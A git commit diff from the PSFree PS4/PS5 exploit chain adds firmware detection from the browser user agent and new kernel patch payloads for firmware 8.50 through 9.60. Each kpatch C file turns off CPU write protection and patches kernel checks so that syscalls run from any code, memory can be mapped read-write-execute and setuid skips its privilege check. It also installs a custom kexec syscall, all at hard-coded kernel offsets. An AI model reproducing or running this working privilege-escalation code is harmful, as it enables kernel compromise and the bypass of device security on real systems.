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### Added

- `.gitignore` for kpatch output
- Auto detect console type and firmware in `config.mjs`
  - Used elsewhere to determine which offsets/patches/ROP chain are used
- WIP: Add 8.50-9.60 support
  - All offsets found
  - Running into some issue here. Wiped out my JOP chains to redo them...

### Fixed

- Call `lapse.mjs` rather than `code.mjs`
- Makefile for kpatch builds all currently available

### Changed

- Use relative locations rather than absolute
- Changed kpatch binaries to just be shellcode vs full ELFs
  - 5,216 bytes to 257 bytes.
- Build kpatch binaries with `-Os` rather than `-O`
  - 257 bytes to 233 bytes.
- Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
This commit is contained in:
Al Azif
2025-05-12 14:42:31 -07:00
parent b9f5957555
commit 3e47ad92a0
33 changed files with 2099 additions and 218 deletions
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@@ -1,661 +0,0 @@
GNU AFFERO GENERAL PUBLIC LICENSE
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You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
<https://www.gnu.org/licenses/>.

94
src/about.html
View File

@@ -22,8 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
</head>
<body>
PSFree is an exploit chain for PS4 and PS5.<br>
PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br>
PSFree's license is GNU-AGPL-3.0-or-later.<br>
PSFree is free software. PSFree's license is GNU-AGPL-3.0-or-later.<br>
Here is the source code of this program:<br>
<br>
HTML files:<br>
@@ -31,11 +30,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<a href='./about.html' download>about.html</a><br>
JavaScript files:<br>
<table id="jslicense-labels1">
<tr>
<td><a href="./psfree.mjs">psfree.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./psfree.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./alert.mjs">alert.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
@@ -46,20 +40,50 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./config.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse.mjs">lapse.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./psfree.mjs">psfree.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./psfree.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./send.mjs">send.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./send.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./scripts/lapse.mjs">scripts/lapse.mjs</a></td>
<td><a href="./lapse/ps4/800.mjs">lapse/ps4/800.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./scripts/lapse.mjs" download>download</a></td>
<td><a href="./lapse/ps4/800.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/800.mjs">rop/800.mjs</a></td>
<td><a href="./lapse/ps4/850.mjs">lapse/ps4/850.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/800.mjs" download>download</a></td>
<td><a href="./lapse/ps4/850.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/852.mjs">lapse/ps4/852.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/852.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/900.mjs">lapse/ps4/900.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/900.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/903.mjs">lapse/ps4/903.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/903.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/950.mjs">lapse/ps4/950.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/950.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/chain.mjs">module/chain.mjs</a></td>
@@ -72,9 +96,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="./module/int64.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/view.mjs">module/view.mjs</a></td>
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/view.mjs" download>download</a></td>
<td><a href="./module/mem.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
@@ -82,9 +106,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="./module/memtools.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/utils.mjs" download>download</a></td>
<td><a href="./module/offset.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/rw.mjs">module/rw.mjs</a></td>
@@ -92,25 +116,49 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="./module/rw.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/offset.mjs" download>download</a></td>
<td><a href="./module/utils.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
<td><a href="./module/view.mjs">module/view.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/mem.mjs" download>download</a></td>
<td><a href="./module/view.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/800.mjs">rop/ps4/800.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/800.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/850.mjs">rop/ps4/850.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/850.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/900.mjs">rop/ps4/900.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/900.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/950.mjs">rop/ps4/950.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/950.mjs" download>download</a></td>
</tr>
</table>
kpatch/ files:<br>
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
<a href="./kpatch/800.c">kpatch/800.c</a><br>
<a href="./kpatch/850.c">kpatch/850.c</a><br>
<a href="./kpatch/900.c">kpatch/900.c</a><br>
<a href="./kpatch/903.c">kpatch/903.c</a><br>
<a href="./kpatch/950.c">kpatch/950.c</a><br>
<a href="./kpatch/Makefile">kpatch/Makefile</a><br>
<a href="./kpatch/80x.c">kpatch/80x.c</a><br>
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
<a href="./kpatch/types.h">kpatch/types.h</a><br>
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
fonts/ files:<br>
<a href="./fonts/README.txt">fonts/README.txt</a><br>
<a href="./fonts/FONTS.LICENSE">fonts/FONTS.LICENSE</a><br>
<a href="./fonts/LiberationMono-Regular.ttf">fonts/LiberationMono-Regular.ttf</a><br>
<a href="./fonts/README.txt">fonts/README.txt</a><br>
</body>
</html>

16
src/config.mjs
View File

@@ -66,5 +66,19 @@ export function set_target(value) {
target = value;
}
function get_target_from_ua(useragent) {
const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/;
const match = pattern.exec(useragent);
if (!match) {
return;
}
if (match[1] == '4') {
return parseInt(`0x0${match[2].replace('.', '').padStart(4, '0')}`);
} else if (match[1] == '5') {
return parseInt(`0x1${match[2].replace('.', '').padStart(4, '0')}`);
}
}
export let target = null;
set_target(0x800);
set_target(get_target_from_ua(navigator.userAgent));

4
src/index.html
View File

@@ -22,7 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<style>
@font-face {
font-family: 'logging';
src: url('fonts/LiberationMono-Regular.ttf');
src: url('./fonts/LiberationMono-Regular.ttf');
}
#console {
font-family: 'logging';
@@ -37,5 +37,5 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
source code and license.<br>
<pre id='console'></pre>
</body>
<script type='module' src='alert.mjs'></script>
<script type='module' src='./alert.mjs'></script>
</html>

4
src/kpatch/80x.c → src/kpatch/800.c
View File

@@ -15,6 +15,8 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.00, 8.01, 8.03
#include <stddef.h>
#include "types.h"
@@ -138,7 +140,7 @@ void do_patch(void) {
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x951c0, 0xC3C03148);
write32(kbase, 0x951c0, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID

178
src/kpatch/850.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50, 8.52
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x826ea, 0x37);
write8(kbase, 0x826ed, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x14d6dd, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x17c2f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x3ad040, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x22f3d6, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc7d0;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

178
src/kpatch/900.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x23b67f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x221b40, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x1100520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

178
src/kpatch/903.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.03, 9.04
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x1662da, 0x37);
write8(kbase, 0x1662dd, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x23b34f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x221810, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

178
src/kpatch/950.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x122d7a, 0x37);
write8(kbase, 0x122d7d, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x196d3d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x19fedf, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x11960, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1fa536, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10f9500;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

32
src/kpatch/Makefile
View File

@@ -1,27 +1,21 @@
TARGET = 80x
ENTRY = 0x900000000
src = $(TARGET).c
TARGET_VERSIONS = 800 850 900 903 950
CC = gcc
CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
CFLAGS += -fwrapv-pointer -std=gnu11
OBJCOPY = objcopy
CFLAGS = -Os -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -Tscript.ld
.PHONY: all
all: $(TARGET).elf
ALL_SOURCES = $(TARGET_VERSIONS:%=%.c)
ALL_OBJECTS = $(TARGET_VERSIONS:%=%.o)
ALL_BINS = $(TARGET_VERSIONS:%=%.bin)
$(TARGET).elf: $(TARGET).o
